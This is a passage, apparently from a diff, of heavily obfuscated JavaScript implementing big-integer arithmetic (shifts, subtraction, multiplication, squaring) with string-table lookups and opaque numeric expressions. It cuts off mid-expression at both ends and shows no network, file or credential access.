f - v - u * i * a) * (G - v - x - u) + (rt - a * a * x - a * i - a * i - f * f)), dt = H - u - a - f * a + (We - x * v - i - u * u - v * i * x) + (gr - x * x * c - f - c - x * a) * -(Xe - f * x * v - u * i - v); ct[ut("0x3c")](--xt, tt - v * a * a - u * f - a - f * a - (Pe - f * i - v * f * f - f) + (wr - i * x * i - u * c * v - u * u - c * a * c) * -(Dr - c * v * f - v - x * v * f)); ) { + var ht = ct[ut("0x14c")](-(Q - x * c - c * a * i - x * a - a * f) * (B - f - f * x - v) + (Le - x * f - u * x * x - a * u) + -(T - x * f - a * u - a - u * c) * -(Rr - v * c - f * u - c * u - x), pt) ? ct[ut("0x101")](ae - i * a * f - f * u - a - (Jr - f * u * f - f - v - a * f * u) - (Or - x * f * x - x * a - a * c), r[xt]) : ct[ut("0x84")](p, r, xt); + ct[ut("0xa9")](ht, (P - x - v - x - a * c * c) * (Ir - i - a * f * a - u * v * x - u) - ($r - x - u * f - a * a - f * i) + (xr - i - a * v - a * c * a)) ? ct.OPzeu("-", r[ut("0xcc")](xt)) && (lt = !(ie - a * f - u - a - (ge - f - x * i - c - x * f) + (Wr - x * v * f - x * i - c * v - i))) : (lt = !(de - f * c - f - u - u * f + (ee - f * v * f - i - u - a) - (Me - a - f * a - a * i - a * u * v)), + (qe - x - u * i - i) * (m - x * f - v - u - c) + -(ir - f - c - x * a * f - u * a * u) * -(et - c * x * x - x * c - f * c - u) + -(Se - u - v - u * u * v - x) * (j - a * i * x - i * a - x * v) == dt ? this[ut("0x19")][this.t++] = ht : ct[ut("0x16")](dt, pt) > this.DB ? (this.data[ct[ut("0x137")](this.t, -(Br - f * f * v - u * v * u - i * x - i * f) * -(se - c - x - u * x * f - x * x) - (ke - v * u - u * f - i * x * x) - (J - x - c * i - f - c))] |= ct.mnQXc(ht & ct[ut("0x160")](Qr - c * c - a - i * f + (Ee - f * u * u - a * x - u * u - a) + (R - c * u * a - c - a * a) * -(tr - u - u * v * i - x * u - a), ct[ut("0x137")](this.DB, dt)) - ((Lr - c * c - u * x - v * a * u - f * v) * (Z - x * a - c * x * i - f) + (be - v * v - v - x * v) - (Ge - c - u - c * u * c - c)), dt), + this[ut("0x19")][this.t++] = ct[ut("0xd")](ht, this.DB - dt)) : this[ut("0x19")][this.t - (($ - v - a - i - u) * -(ur - x * f - i * u * a - v * v - f * c * a) + -(O - v - i - f - c) * -(sr - f * x - c * v * f - u * c) - (Ce - a * i * a - x - c - a * a))] |= ct[ut("0xca")](ht, dt), + ct[ut("0x40")](dt += pt, this.DB) && (dt -= this.DB)) + } + continue; + case "2": + this.t = (Tr - c * f * x - u - f * u * i - i) * -(rr - x * v - c - x * c) + -(C - i * x - i * c - x) * -(je - f - v * v * u - v * c * u - v * i * f) + -(kr - u * x - v * f * x - i * a * u - u * v * i) * (ar - x * v - v * a * c - a * i * u), + this.s = (U - v - v * a - u * u - u * u * a) * (Ne - i - c * f - u * f) - (Kr - x * f - x * f - v * a - c * a * i) + -(Cr - c * c * u - x * f - a - a * v * v) * (br - f * f - i * a * a - a * v * u - v); + continue; + case "3": + if (hr - a - f * a - a * u * c - x * i - (ve - c * u * v - a * v * x - f * u - a) + (vr - v * c * c - u * i - f) * (M - f * f * a - u - x - a) == e) + pt = (q - u * u - f * i * i - x * u) * -(w - x - v - a * f - i) - (me - c * v * a - u * u * v - c - a * a) + (V - f - f * u * i - a - x) * (Br - u * v * x - i - x * a); + else if (ct[ut("0x166")](De - a - x - a * x - (_e - x * u * a - f * c - x * x * a) + (qr - v * f - v * x * v - v * a - i) * (z - x - c * u * f - a - c), e)) + pt = -(nr - a * f * i - u - x * u - i * v * a) * (br - i - c * x * x - f * i - u) - (dr - x * f - a - v * u) + (Ur - u - a * a - c * u - u * c * f) * (Br - i * f * x - c * f - x * x - u * f * v); + else if (ct[ut("0x166")](Fe - u * v - f * x * i - v - x * f - (ye - i * x * f - x * a - f) + -(lr - v * c - u * f * i - v - c * u) * (d - a - v * a - i - v), e)) + pt = -(oe - x * u - x - i - u * c * u) - (Oe - c - x * a * x - u) + -(Y - a * u - u - i * f * c - f * x) * -(it - v * u - f - c * x * u); + else if (te - u - x - c * a - c * a - (Gr - x - a * c * x - c) + (z - u * i - f - c * i * f - u * a) * -(Er - x - u * x * a - c * f - x * u * i) == e) + pt = (K - i * u * a - u - f * x - c * u) * -(D - u * i - f * a * i - v) - (Xr - a * f * i - a * x * i - u - u * f) + -(ne - v - f - x * i - u * f * f) * -(N - x - c * u * a - u); + else if (ct[ut("0x166")](-(X - u * a - v - x * a * f - v * i) * -($e - x * a * x - v * v - u * x * i - u) + (pe - v * a * a - c - u * a * u - f) * -(l - i - f - i * u - a) + (le - i * x * c - u * c - c - v * f * c) * -(S - u * x - u - f * v), e)) + pt = -(cr - x * c - u - x * c * f - v) * (Ve - v * f - u - x * f - a * a) + (fe - x * x * c - u - f * i * f - c) + (yr - a - u * v * c - a * u * i - i * x) * (g - u - v * a - i * u); + else { + if (ct[ut("0x24")]((Vr - f * v * x - i * i - f * u * i - x) * -(Sr - v - a * i - f * c * x - i * a * v) + (er - f - c * a * f - c - c * c * a) * -(pr - f - c * c - a * a * u) + (Ar - x - v * u - v * i * i - i) * (W - v - c * x - a * u - c * c * i), e)) + return void this[ut("0xab")](r, e); + pt = -(ar - u * a - u - x * c - i * u * f) * (E - a - v - v - v * x) - (re - x * c - i * x * c - f * f * x - i * x * i) + (Ae - c * x - u * a * a - i * a * i - i * v) + } + continue; + case "4": + var pt; + continue + } + break + } + } + , + s.prototype[o("0x7a")] = function() { + function r(r) { + return e += r + } + var e = 0; + r(4); + var t = e + 1; + r(1); + var n = e + 1 + , a = r(1) + 1; + r(1); + var i = e + 1 + , u = r(1) + 1 + , s = r(0) + 2; + r(2); + var c = e + 1 + , f = r(388) + 71; + r(83); + var v = e + 16 + , x = r(21) + 6; + r(81); + var l = e + 19; + r(64); + var d = e + 24; + r(23); + var h = e + 5 + , p = r(227) + 58; + r(552); + var y = e + 196; + r(427); + var g = e + 124 + , m = r(805) + 116 + , C = r(2342) + 293 + , b = o + , E = { + toSES: function(r, e) { + return r > e + } + }; + E[b("0x106")] = function(r, e) { + return r == e + } + , + E.nxzrC = function(r, e) { + return r - e + } + ; + for (var S = E, I = this.s & this.DM; S.toSES(this.t, -(l - s * u - u * a * n - n - a * s) * (p - a * n - u - u * t * a - a * n * c) - (m - n * c - a * i - s - u * t) + (x - c - n * a * s - s * a - t) * (C - i * n - t * a - t * i * n)) && S.xosTX(this[b("0x19")][S[b("0x8a")](this.t, (f - i - n * c * n - i * a) * (g - t * c * u - u - c - c * c * c) + -(v - i * t - a * t * a - i - c * n) * -(h - u * c - n * i * u - u * c) + -(d - t * u * n - n - n * n * s) * (y - n - s * c * u - n * u * i))], I); ) + --this.t + } + , + s[o("0x99")][o("0x1fd")] = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(4); + var a = n + 1 + , i = t(1) + 1 + , u = t(1) + 1; + t(0); + var s = n + 2 + , c = t(2) + 1; + t(1); + var f = n + 1; + t(1); + var v = n + 1 + , x = t(22) + 7; + t(98); + var l = n + 35 + , d = t(29) + 16; + t(144); + var h = n + 29; + t(293); + var p = n + 101; + t(141); + var y = n + 28 + , g = t(281) + 33 + , m = t(504) + 95; + t(284); + var C = n + 46; + t(350); + var b = n + 70; + t(437); + var E = n + 197 + , S = t(391) + 145; + t(689); + var I = n + 204; + t(301); + var T = n + 33 + , A = t(629) + 193; + t(789); + var B = n + 184; + t(1596); + var w = n + 467; + t(670); + var N = n + 213; + t(695); + var R = n + 237; + t(517); + var U = n + 220; + t(1114); + var D = n + 314 + , L = o + , P = {}; + P[L("0x212")] = function(r, e) { + return r - e + } + , + P[L("0x1c")] = function(r, e) { + return r >= e + } + , + P[L("0x19b")] = function(r, e) { + return r + e + } + ; + var k, K = P; + for (k = K[L("0x212")](this.t, b - i * f - f - c - f - (R - u * u * u - u * i * i - a * a * i - a * c * a) + (h - a * s * i - a * s - v - s * a) * (B - i * u - a - c * a)); K[L("0x1c")](k, N - f * u - s * c - c - c + (S - v - s * v * v - v * f * i - a) - (D - a - f * f * f - s * c - a * a)); --k) + e[L("0x19")][k + r] = this[L("0x19")][k]; + for (k = K[L("0x212")](r, -(d - v * a - a * i - f * s - i) * -(C - a * a * u - s * v * i - u - f * i) - (U - a - a - a * s - f * a) + (A - u * f - f - a * c - s) * (p - v * a - v - s * i * f - a * a * i)); k >= g - c * c - a * f - f * u - f * i * c + (E - c * v * u - u - i * u - u * u) * (x - v - f - a - f) - (w - i * v - a - i * s * s - v * c * u); --k) + e[L("0x19")][k] = -(y - c * s - i * u * i - a * v - v * u * a) * -(m - i * v - v * f - c * c * v) + (I - c * f - s * i * a - i - i * s * f) + (l - u - i * a - c * s - v * a) * -(T - s - s - i * c * a - v * f); + e.t = K[L("0x19b")](this.t, r), + e.s = this.s + } + , + s[o("0x99")][o("0x34")] = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(4); + var a = n + 1; + t(0); + var i = n + 2; + t(2); + var u = n + 1 + , s = t(1) + 1; + t(1); + var c = n + 1; + t(1); + var f = n + 1 + , v = t(0) + 2; + t(109); + var x = n + 22; + t(658); + var l = n + 109; + t(261); + var d = n + 38; + t(475); + var h = n + 153; + t(591); + var p = n + 97 + , y = o + , g = {}; + g[y("0x1f3")] = function(r, e) { + return r < e + } + , + g.jOIia = function(r, e) { + return r - e + } + , + g.StUOh = function(r, e) { + return r - e + } + ; + for (var m = g, C = r; m.GVBAZ(C, this.t); ++C) + e[y("0x19")][m[y("0x178")](C, r)] = this[y("0x19")][C]; + e.t = Math[y("0x189")](m[y("0x11c")](this.t, r), (d - a * f * f - u - u - u * f * s) * -(p - i - i - u) + -(x - v * f - f - i - v) * -(h - c - v * s * c - a * v - a) - (l - s * v * i - v * f - c - u)), + e.s = this.s + } + , + s[o("0x99")].lShiftTo = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(3); + var a = n + 2; + t(2); + var i = n + 1 + , u = t(1) + 1 + , s = t(1) + 1; + t(1); + var c = n + 1 + , f = t(1) + 1; + t(1); + var v = n + 1; + t(71); + var x = n + 15; + t(26); + var l = n + 4; + t(205); + var d = n + 48; + t(89); + var h = n + 16 + , p = t(33) + 6 + , y = t(43) + 11; + t(16); + var g = n + 6; + t(43); + var m = n + 12; + t(30); + var C = n + 8; + t(34); + var b = n + 9; + t(11); + var E = n + 2; + t(181); + var S = n + 52; + t(59); + var I = n + 26; + t(84); + var T = n + 21 + , A = t(95) + 30; + t(150); + var B = n + 26; + t(49); + var w = n + 7 + , N = t(25) + 11 + , R = t(161) + 53; + t(103); + var U = n + 25 + , D = t(68) + 28 + , L = t(165) + 24; + t(155); + var P = n + 24; + t(992); + var k = n + 221; + t(362); + var K = n + 43; + t(179); + var V = n + 48 + , O = t(55) + 16; + t(25); + var M = n + 8 + , j = t(31) + 7; + t(159); + var F = n + 29; + t(565); + var G = n + 154; + t(242); + var q = n + 94 + , Q = t(884) + 187; + t(1681); + var W = n + 235; + t(777); + var z = n + 219; + t(365); + var H = n + 128; + t(1185); + var Y = n + 386; + t(492); + var Z = n + 122 + , X = t(648) + 132; + t(372); + var J = n + 152; + t(311); + var _ = n + 142 + , $ = o + , rr = {}; + rr[$("0x1ef")] = function(r, e) { + return r % e + } + , + rr[$("0x4")] = function(r, e) { + return r - e + } + , + rr[$("0x38")] = function(r, e) { + return r << e + } + , + rr[$("0xd8")] = function(r, e) { + return r / e + } + , + rr[$("0x13b")] = function(r, e) { + return r & e + } + , + rr[$("0x58")] = function(r, e) { + return r >= e + } + , + rr[$("0x1ae")] = function(r, e) { + return r + e + } + , + rr.pwGpj = function(r, e) { + return r + e + } + , + rr[$("0x190")] = function(r, e) { + return r | e + } + , + rr[$("0x1fa")] = function(r, e) { + return r >> e + } + , + rr[$("0x225")] = function(r, e) { + return r << e + } + , + rr[$("0xc1")] = function(r, e) { + return r - e + } + , + rr[$("0x9f")] = function(r, e) { + return r >= e + } + ; + var er, tr = rr, nr = tr[$("0x1ef")](r, this.DB), ar = this.DB - nr, ir = tr[$("0x4")](tr[$("0x38")](-(S - f * v - v - c * a * v - c) * (b - f * c * i - c - v - c) - (Z - s - i - v * u) + -(Q - s * s * s - u - a * u * v - f) * -(U - u * a * s - v * f * i - a - v * c * i), ar), j - s - a - f * v - f + (W - a - s * i * f - s * i) - (X - c * a - c - u * f * i)), or = Math.floor(tr[$("0xd8")](r, this.DB)), ur = tr[$("0x13b")](this.s << nr, this.DM); + for (er = this.t - (-(I - v * c * u - u * f - a * f - v * a) * (D - c * s - i * a * f - v * i * a - i) + (T - a * a * i - a - s - v * s * c) * -(V - v - c * i * v - v * i - c * c) + (A - a * a - v * f * a - a * c * c - a * a) * (C - c - u - s * a * c)); tr[$("0x58")](er, F - a * u - v - u * c + (G - c - f * s - i - c * f) + (g - u - c * a - v * f - c) * -(E - a * i * v - s * c - s * v - v * c)); --er) + e[$("0x19")][tr[$("0x1ae")](tr[$("0x188")](er, or), -(z - c * i * a - f * a - v * s * f - f) - (O - s - i * s * i - a - f * u * u) + -(L - v * v * v - u * a - u * i * c - a * i) * -(_ - v * f * v - s * a * v - a * a * a - v))] = tr[$("0x190")](tr[$("0x1fa")](this.data[er], ar), ur), + ur = tr[$("0x225")](tr.qYRJN(this[$("0x19")][er], ir), nr); + for (er = tr.UrJio(or, (d - f - v * u - a - c) * (m - f - f - a * c * v) + -(w - f * v * s - s * i * a - c - i * i) * -(B - i * v - c * u - v * f * c - u * v) + (K - u * i - u * v * v - f * f) * -(R - v * v * i - u - v - c * s * f)); tr.KryvD(er, N - v - s * i * i - f * u * c - i * a * a + -(h - s * s - f * a * i - u * u) * -(k - f - a * v * u - u * s * a - c * u * s) - (H - a - a * u * f - f * a)); --er) + e[$("0x19")][er] = -(y - u * u - a * i - s * a - i * u * s) * -(p - v - s * c - s * u * a - u * s) - (M - i * a - a - v * u) + (q - c * f * f - u * s * s - s * a * c - a * i * i) * (l - c - s - a - v * s); + e.data[or] = ur, + e.t = tr[$("0x188")](this.t + or, (x - u - u * v - v) * -(Y - a * i - a * s - u * s * i - v * s * i) - (P - c - s * s * f - s * c * a - f * s) + (J - v * v * v - i * a - c)), + e.s = this.s, + e.clamp() + } + , + s.prototype.rShiftTo = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(3); + var a = n + 2 + , i = t(1) + 2 + , u = t(1) + 2; + t(1); + var s = n + 2 + , c = t(2) + 1; + t(1); + var f = n + 1; + t(1); + var v = n + 1 + , x = t(88) + 26; + t(31); + t(36); + t(24); + var l = n + 5; + t(58); + t(21); + t(20); + t(13); + t(69); + t(77); + t(19); + t(12); + t(11); + t(6); + var d = n + 2; + t(46); + t(11); + var h = n + 2; + t(36); + t(14); + var p = n + 4; + t(30); + t(72); + var y = n + 20 + , g = t(35) + 7; + t(41); + t(11); + t(10); + t(18); + t(9); + t(29); + var m = n + 5; + t(27); + t(70); + t(28); + var C = n + 13; + t(29); + t(28); + t(24); + t(24); + t(13); + t(13); + t(94); + t(55); + t(31); + t(25); + var b = n + 5; + t(9); + var E = n + 5; + t(57); + t(67); + var S = t(39) + 13; + t(16), + t(36), + t(71); + t(30); + t(27); + t(131), + t(89); + t(65); + t(81); + t(37); + var I = t(22) + 7; + t(109); + var T = n + 53; + t(76), + t(71); + t(49); + var A = n + 8; + t(188); + var B = n + 48; + t(47); + t(20); + var w = n + 7; + t(150); + t(74); + t(63); + t(171); + t(63); + var N = n + 26; + t(95); + var R = n + 21; + t(86); + var U = n + 13; + t(54); + var D = n + 29; + t(274); + t(279); + t(128); + t(69); + t(160); + var L = t(192) + 74; + t(292); + t(93); + var P = n + 34; + t(74); + t(208); + t(641); + t(217); + t(159); + var k = n + 35; + t(170); + t(221); + t(41); + t(19); + t(148); + var K = t(56) + 16; + t(39); + var V = n + 15 + , O = t(658) + 113; + t(486); + t(59); + t(74); + t(254); + t(101); + t(75); + var M = n + 15; + t(53); + var j = n + 14; + t(30); + t(8); + t(26), + t(14); + t(49); + t(45); + t(65); + t(50); + var F = t(221) + 52; + t(121); + var G = t(563) + 219 + , q = t(351) + 132; + t(115); + var Q = t(194) + 70; + t(162), + t(1820); + t(2689); + var W = t(1622) + 261 + , z = o + , H = {}; + H[z("0x179")] = function(r, e) { + return r == e + } + , + H[z("0xd9")] = function(r, e) { + return r < e + } + , + H[z("0x107")] = function(r, e) { + return r - e + } + , + H[z("0x19a")] = function(r, e) { + return r - e + } + , + H[z("0x196")] = function(r, e) { + return r > e + } + , + H[z("0x1d5")] = function(r, e) { + return r & e + } + , + H[z("0x1c2")] = function(r, e) { + return r >> e + } + , + H[z("0x3e")] = function(r, e) { + return r / e + } + , + H.tmBnT = function(r, e) { + return r >= e + } + , + H[z("0x14")] = z("0xb4"), + H[z("0x21c")] = "snyOo", + H[z("0x15f")] = function(r, e) { + return r % e + } + , + H[z("0x168")] = function(r, e) { + return r - e + } + , + H[z("0x1f7")] = function(r, e) { + return r - e + } + , + H.fQeUy = function(r, e) { + return r + e + } + , + H.REbyY = function(r, e) { + return r < e + } + , + H.RmHEt = function(r, e) { + return r << e + } + , + H[z("0xf1")] = function(r, e) { + return r & e + } + , + H.UiJNy = function(r, e) { + return r > e + } + , + H[z("0x46")] = function(r, e) { + return r - e + } + , + H[z("0x70")] = function(r, e) { + return r << e + } + ; + var Y = H; + e.s = this.s; + var Z = Math[z("0x10f")](Y[z("0x3e")](r, this.DB)); + if (Y[z("0x49")](Z, this.t)) + e.t = (S - v * v * v - f * u - s * v - a) * (b - u - u * a * c - s * f) + -(l - a * c - f - s * s - s * c) * (U - v * a * a - u - f * c - f * v * u) + -(E - v - c * i * c - f * i * a) * (y - i * c - u - f * v * i); + else if (Y[z("0x14")] !== Y[z("0x21c")]) { + var X = Y[z("0x15f")](r, this.DB) + , J = Y[z("0x168")](this.DB, X) + , _ = Y[z("0x1f7")](-(Q - s * v * s - v * s - i * u - f * s * f) * (m - a * u * f - s * u * c - u) + (w - s * a - a * f * v - s * c * f - v * u) * -(p - u * u * f - i - c * v - f) + -(g - u * s - a - f - f * u * c) * -(d - a - v - c - u * a * u) << X, (F - i * c * u - a - v * v) * (h - c * v - f * a - s - i * i * v) - (V - s * v * f - c * s - a) - (D - c * u * i - a - a * f * i)); + e[z("0x19")][-(O - a * u - a * i * f - f * f - v * v) - (N - c * c * u - a * c - u * s * f) + (G - v * f * s - v - a * u)] = Y[z("0x1c2")](this[z("0x19")][Z], X); + for (var $ = Y[z("0x182")](Z, (C - f * v * i - a * v - c - a * c * i) * (q - a * s - u * i - u * c * a - i) + (K - u * u - f * c * a - f - i * a * v) - (W - f * c * a - u - v * a - i * c * v)); Y[z("0x117")]($, this.t); ++$) + e.data[Y[z("0x1f7")]($, Z) - ((A - v * a - i * f * s - u * s - f * u) * -(x - f - f - c - f * c) + (M - s * a - v - f * c - v * s) + (I - v * c * v - i * u * a - a * s * v - v))] |= Y.RmHEt(Y.nDIIe(this[z("0x19")][$], _), J), + e.data[$ - Z] = Y.yhznn(this[z("0x19")][$], X); + Y.UiJNy(X, B - i * u * v - s * u - c * a * f - v * f * c - (P - c * a * i - v * c - i) + -(L - u * i - v * a * v - a - s * u) * -(T - v - c * u * u - v * f * f - v * s * s)) && (e[z("0x19")][Y[z("0x46")](Y.WilVH(this.t, Z), j - c * u - u * f - c - a * s * v - (R - c * f * v - i - i) - (k - s - c * i * u - c - a * c))] |= Y[z("0x70")](Y[z("0xf1")](this.s, _), J)), + e.t = Y.WilVH(this.t, Z), + e.clamp() + } else + ; + } + , + s[o("0x99")].subTo = function(r, e) { + function t(r) { + return n += r + } + var n = 0 + , a = t(3) + 2; + t(2); + var i = n + 1; + t(1); + var u = n + 1; + t(1); + var s = n + 1 + , c = t(1) + 1 + , f = t(1) + 1 + , v = t(1) + 1; + t(30); + var x = n + 9; + t(105); + var l = n + 33; + t(112); + var d = n + 23; + t(105); + var h = n + 27 + , p = t(91) + 22 + , y = t(82) + 22; + t(101); + var g = n + 29 + , m = t(125) + 54; + t(48); + var C = n + 9; + t(172); + var b = n + 52; + t(253); + var E = n + 43; + t(76); + var S = n + 17; + t(267); + var I = n + 98; + t(409); + var T = n + 123; + t(377); + var A = n + 66; + t(194); + var B = n + 74; + t(772); + var w = n + 101; + t(802); + var N = n + 202; + t(346); + var R = n + 79; + t(1198); + var U = n + 306; + t(619); + var D = n + 276; + t(942); + var L = n + 237 + , P = t(373) + 100; + t(315); + var k = n + 89 + , K = t(1080) + 166; + t(718); + var V = n + 174; + t(776); + var O = n + 196; + t(221); + var M = n + 97; + t(5148); + var j = n + 1450 + , F = t(1539) + 261 + , G = o + , q = {}; + q[G("0x31")] = function(r, e) { + return r & e + } + , + q[G("0x1c6")] = function(r, e) { + return r < e + } + , + q.esOOB = function(r, e) { + return r < e + } + , + q.TUqVe = function(r, e) { + return r < e + } + , + q[G("0x32")] = function(r, e) { + return r > e + } + ; + for (var Q = q, W = M - a - a - v * f * a - c * u * s + (k - s * a - s * c * i - u) - (j - c - v - v), z = O - a - i - a * a - s * v * c + (P - f - s * a * a - f - s * s) + (d - c * c - s * c - i * v - i * f) * -(F - v - a - f - f * u * a), H = Math[G("0x23e")](r.t, this.t); W < H; ) + z += this.data[W] - r[G("0x19")][W], + e[G("0x19")][W++] = Q[G("0x31")](z, this.DM), + z >>= this.DB; + if (Q[G("0x1c6")](r.t, this.t)) { + for (z -= r.s; Q[G("0x83")](W, this.t); ) + z += this[G("0x19")][W], + e[G("0x19")][W++] = Q[G("0x31")](z, this.DM), + z >>= this.DB; + z += this.s + } else { + for (z += this.s; Q.esOOB(W, r.t); ) + z -= r[G("0x19")][W], + e[G("0x19")][W++] = z & this.DM, + z >>= this.DB; + z -= r.s + } + e.s = Q[G("0x147")](z, m - a * f - c * s - i - a * c * a + (w - i - i * c - v * a * s - s) + -(T - i * c * c - a * f * a - v * v * a - i * c * c) * (h - u * u * i - i - u * v)) ? -(L - a - v * a - c * i + (R - a * c * i - f * c * c - u * v * c - a) * -(y - c * i * f - s - i) + (A - a * v * f - a - c * c * v - u) * (b - f * s - f * v * s - c * s)) : (C - u * c * v - f - f * s) * (S - i * c * v - s * f * i - i * u - i * u) - (N - v * a * s - i * f - a * s * v) - (B - v - s - f * c), + Q[G("0x147")](z, -(-(E - v * c * v - f * f - u * v - f) * -(V - f - s * s * v - a * a) - (U - f - s * u * a - f * i * u - u * f * u) + (p - i * u * a - u * a - a * v) * -(I - f * c * v - s * f * u - i * a - u * f))) ? e[G("0x19")][W++] = this.DV + z : Q[G("0x32")](z, (l - s - v - s * a) * -(x - c - a - s) + (K - f * s - a - a * a) + -(D - v - c * i - f - c * c * s) * (g - f * i - u * f - u * c * s - i * a)) && (e[G("0x19")][W++] = z), + e.t = W, + e.clamp() + } + , + s[o("0x99")].multiplyTo = function(r, e) { + function t(r) { + return n += r + } + var n = 0 + , a = t(4) + 1; + t(1); + var i = n + 1; + t(1); + var u = n + 1; + t(1); + var c = n + 1 + , f = t(1) + 1; + t(1); + var v = n + 1; + t(1); + var x = n + 1; + t(94); + var l = n + 32; + t(104); + var d = n + 30; + t(77); + var h = n + 13; + t(46); + var p = n + 9 + , y = t(96) + 50; + t(55); + var g = n + 15; + t(41); + var m = n + 9 + , C = t(62) + 15 + , b = t(75) + 14; + t(189); + var E = n + 58; + t(186); + var S = n + 85 + , I = t(112) + 18; + t(181); + var T = n + 27; + t(168); + var A = n + 38; + t(285); + var B = n + 65 + , w = t(109) + 25; + t(112); + var N = n + 24 + , R = t(1314) + 282; + t(1347); + var U = n + 160 + , D = t(686) + 168; + t(2507); + var L = n + 922 + , P = t(868) + 399; + t(379); + var k = n + 96; + t(192); + var K = n + 67; + t(1747); + var V = n + 195 + , O = o + , M = {}; + M[O("0x19d")] = function(r, e) { + return r + e + } + , + M[O("0x10a")] = function(r, e) { + return r >= e + } + , + M.RDMEL = function(r, e) { + return r + e + } + ; + var j = M + , F = this[O("0x1b2")]() + , G = r[O("0x1b2")]() + , q = F.t; + for (e.t = j[O("0x19d")](q, G.t); j.hmSgl(--q, -(h - c * u - i * a * a - u * i - f * a) * -(S - a - u * u - u - c) + (m - a * f * c - f * v - x * u) * -(A - c * f * v - v - c - i * f * a) - (U - v - c * x * x - v - x * x * v)); ) + e[O("0x19")][q] = (d - c - f * u - f * a - x * x) * (D - x * u * c - c * i * f - v * i * i - f * x * x) - (N - v * f * i - a * x * v - a * v * v) - (R - x * v - a - c * v * v - f * x); + for (q = V - c * v * a - c - f * c * i - u * i * v - (b - i * i * a - a * f * c - i * i) + (E - x - f * a - v * c - f * u * c) * -(T - x * x * f - x * x - i * x - u * i); q < G.t; ++q) + e[O("0x19")][j[O("0x125")](q, F.t)] = F.am(w - i * u * x - v * v * a - i - (P - f * x - c * a - v * v - u * i) + (k - c * i * i - c * a - x * c * x - c), G[O("0x19")][q], e, q, K - a * u * c - i * v * u - f * f - v * x - (L - v * f * x - f - i - f * i * i) - (I - f * f - f * a - v - u), F.t); + e.s = -(p - x - f * v - i - i * i * i) * -(g - u * v - x - f * u) + -(C - i * x * a - v - u * x - v * i) * (y - i - i * c * c - f * a - u) + -(l - c * f - u * a - x - v) * (B - c * x * a - v * a * c - f * v - c * c * x), + e[O("0x7a")](), + this.s != r.s && s[O("0x1a4")].subTo(e, e) + } + , + s[o("0x99")][o("0x93")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(4); + var n = t + 1; + e(1); + var a = t + 1 + , i = e(1) + 1 + , u = e(0) + 2; + e(1); + var s = t + 2; + e(2); + var c = t + 1; + e(1); + var f = t + 1 + , v = e(69) + 15 + , x = e(41) + 11 + , l = e(11) + 3 + , d = e(55) + 15 + , h = e(14) + 3 + , p = e(14) + 6; + e(65); + var y = t + 16 + , g = e(129) + 19 + , m = e(40) + 8; + e(24); + var C = t + 8; + e(23); + var b = t + 6 + , E = e(20) + 7; + e(68); + var S = t + 20; + e(48); + var I = t + 11; + e(20); + var T = t + 4 + , A = e(27) + 4 + , B = e(32) + 13; + e(20); + var w = t + 6; + e(34); + var N = t + 13; + e(101); + var R = t + 18; + e(47); + var U = t + 20; + e(21); + var D = t + 11; + e(23); + var L = t + 9; + e(64); + var P = t + 22 + , k = e(42) + 11 + , K = e(118) + 17; + e(42); + var V = t + 9; + e(71); + var O = t + 25; + e(24); + var M = t + 8 + , j = e(55) + 10 + , F = e(38) + 17; + e(27); + var G = t + 10 + , q = e(27) + 9 + , Q = e(10) + 4 + , W = e(42) + 15 + , z = e(25) + 7; + e(62); + var H = t + 22; + e(142); + var Y = t + 59; + e(254); + var Z = t + 51 + , X = e(187) + 49; + e(236); + var J = t + 44; + e(135); + var _ = t + 27; + e(123); + var $ = t + 20; + e(51); + var rr = t + 13 + , er = e(121) + 20 + , tr = e(331) + 92; + e(193); + var nr = t + 48; + e(123); + var ar = t + 21; + e(369); + var ir = t + 62; + e(45); + var or = t + 18; + e(68); + var ur = t + 10 + , sr = e(100) + 34; + e(37); + var cr = t + 17 + , fr = e(161) + 25 + , vr = e(143) + 30 + , xr = e(52) + 15; + e(46); + var lr = t + 16; + e(963); + var dr = t + 183; + e(290); + var hr = t + 106; + e(403); + var pr = t + 69; + e(190); + var yr = t + 67; + e(247); + var gr = t + 58; + e(89); + var mr = t + 38; + e(57); + var Cr = t + 19 + , br = e(278) + 96; + e(111); + var Er = t + 24 + , Sr = e(28) + 8; + e(94); + var Ir = t + 25; + e(851); + var Tr = t + 188; + e(193); + var Ar = t + 51 + , Br = e(37) + 15 + , wr = e(127) + 19; + e(52); + var Nr = t + 11; + e(372); + var Rr = t + 112 + , Ur = e(134) + 23 + , Dr = e(120) + 30; + e(47); + var Lr = t + 9; + e(477); + var Pr = t + 119; + e(173); + var kr = t + 40 + , Kr = e(64) + 12; + e(207); + var Vr = t + 64; + e(1713); + var Or = t + 437 + , Mr = e(368) + 105; + e(908); + var jr = t + 189 + , Fr = o + , Gr = {}; + Gr[Fr("0xa")] = function(r, e) { + return r * e + } + , + Gr[Fr("0x63")] = function(r, e) { + return r < e + } + , + Gr[Fr("0xed")] = function(r, e) { + return r - e + } + , + Gr[Fr("0x26")] = function(r, e) { + return r >= e + } + , + Gr.cyfsv = function(r, e) { + return r + e + } + , + Gr[Fr("0x115")] = function(r, e) { + return r + e + } + , + Gr.CubLn = function(r, e) { + return r + e + } + , + Gr[Fr("0x89")] = function(r, e) { + return r * e + } + ; + for (var qr = Gr, Qr = this[Fr("0x1b2")](), Wr = r.t = qr[Fr("0xa")](W - u - a - n * s * u - c * i * i + (Vr - u * n * n - c * f * u - c * i * c - c) - (Kr - c * u * i - n * i * n - c - f * f), Qr.t); --Wr >= (er - c * f * a - f - f * n * s - f) * -(E - u * n * s - s - n * n * a) + (lr - f - a - f) + (L - f * a - n * i * i - n - u * s); ) + r.data[Wr] = -(Cr - c * f * s - i - s * i * n - f * u) * (P - i * f * a - f * i - s * f * n - i) + (hr - u - c - c * f * a - u) + -(j - i - a - s * s * u - u * s * c) * -(A - i * s - u - c * s - a * i * u); + for (Wr = Ur - i - i * n - c - c * s * n + (X - f * a - n - n * f * c - c * f * s) * (l - i * i - i - f - s * i) + (rr - a * s * f - c * i * u - f) * -(x - n * u - n - i - u * s); qr[Fr("0x63")](Wr, qr.kusGf(Qr.t, tr - n - u * n - n * n * u + (Pr - a * u - u - i * c * u - c * n) + -(Mr - f * u - c - s * n - n) * (y - a * s * n - s - c - n))); ++Wr) { + var zr = Qr.am(Wr, Qr[Fr("0x19")][Wr], r, (br - a * i - u * n - s - c * s + (gr - a * c - s * u * a - f * n * a - a * u * s) * (q - a * n * u - s * i * a - i - f * i * f) - 